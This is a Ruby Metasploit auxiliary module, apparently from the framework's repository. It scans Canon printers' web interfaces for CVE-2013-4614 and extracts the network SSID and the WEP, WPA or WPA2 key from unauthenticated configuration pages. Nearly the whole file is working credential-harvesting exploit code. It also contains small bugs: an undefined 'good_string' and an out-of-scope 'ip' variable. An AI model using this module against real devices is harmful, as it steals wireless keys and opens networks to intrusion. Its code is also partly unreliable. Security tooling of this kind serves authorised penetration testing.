##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'nokogiri'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Canon Printer Wireless Configuration Disclosure',
        'Description' => %q{
          This module enumerates wireless credentials from Canon printers with a web interface.
          It has been tested on Canon models: MG3100, MG5300, MG6100, MP495, MX340, MX870,
          MX890, MX920.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
        ],
        'References' => [
          [ 'CVE', '2013-4614' ],
          [ 'OSVDB', '94417' ],
          [ 'URL', 'https://www.mattandreko.com/2013/06/canon-y-u-no-security.html']
        ],
        'DisclosureDate' => '2013-06-18',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def get_network_settings
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => '/English/pages_MacUS/lan_set_content.html',
      })
    rescue
      print_error("#{Rex::Socket.to_authority(rhost, rport)} Could not connect.")
      return
    end

    if res
      if res.code == 200

        html = Nokogiri::HTML(res.body)

        checked_lan_setting = html.xpath '//input[@name="LAN_OPT1" and @checked]'

        if checked_lan_setting.count == 1
          lan_setting = ''
          ssid = ''
          case checked_lan_setting[0]['value']
          when '0'
            lan_setting = 'Do not use LAN'
          when '1'
            lan_setting = 'Use wired LAN'
          when '2'
            lan_setting = 'Use wireless LAN'

            ssid_input = html.xpath '//input[@name="LAN_TXT1"]'
            ssid = ssid_input[0]['value'] if ssid_input.count == 1
          end

          return lan_setting, ssid
        else
          print_error("#{Rex::Socket.to_authority(rhost, rport)} Could not determine LAN Settings.")
        end

      elsif res.code == 401
        print_error("#{Rex::Socket.to_authority(rhost, rport)} Authentication failed")
      elsif res.code == 404
        print_error("#{Rex::Socket.to_authority(rhost, rport)} File not found")
      end
    end
  end

  def get_wireless_key
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => "/English/pages_MacUS/wls_set_content.html",
      })
    rescue
      print_error("#{ip}:#{rport} Could not connect.")
      return
    end

    if res
      if res.code == 200
        html = Nokogiri::HTML(res.body)
        encryption_setting = ''
        encryption_key = ''

        checked_encryption_setting = html.xpath '//input[@name="WLS_OPT1" and @checked]'
        case checked_encryption_setting[0]['value']
        when '0'
          encryption_setting = 'None'
        when '1'
          encryption_setting = 'WEP'
          wep_key_inputs = html.xpath '//input[starts-with(@name, "WLS_TXT1") and not(@value="")]'
          encryption_key = wep_key_inputs.collect { |x| x['value'] }.join(', ')
        when '2'
          encryption_setting = 'WPA'
          wpa_key_input = html.xpath '//input[@name="WLS_TXT2"]'
          encryption_key = wpa_key_input[0]['value']
        when '3'
          encryption_setting = 'WPA2'
          wpa2_key_input = html.xpath '//input[@name="WLS_TXT3"]'
          encryption_key = wpa2_key_input[0]['value']
        end

        return encryption_setting, encryption_key

      elsif res.code == 401
        print_error("#{Rex::Socket.to_authority(rhost, rport)} Authentication failed")
      elsif res.code == 404
        print_error("#{Rex::Socket.to_authority(rhost, rport)} File not found")
      end
    end
  end

  def run_host(ip)
    ns = get_network_settings
    return if ns.nil?

    data = {
      :rhost => rhost,
      :rport => rport,
      :option => ns[0]
    }
    if ns[0] == 'Use wireless LAN'
      wireless_key = get_wireless_key
      data.merge!(
        {
          :ssid => ns[1],
          :encryption_type => wireless_key[0],
          :key => wireless_key[1]
        }
      )
    end

    report_note({
      :data => data,
      :type => 'canon.wireless',
      :host => ip,
      :port => rport
    })

    print_good good_string
  end
end
